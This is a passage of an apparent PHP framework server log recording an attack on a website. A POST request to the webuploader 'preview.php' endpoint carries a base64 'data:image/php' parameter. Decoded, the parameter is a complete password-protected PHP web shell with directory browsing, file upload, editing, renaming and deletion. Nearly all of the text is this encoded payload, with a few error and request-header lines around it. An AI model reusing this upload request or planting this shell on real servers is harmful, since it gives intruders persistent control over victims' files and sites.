ICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:12+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002831s] [吞吐率:353.23req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KI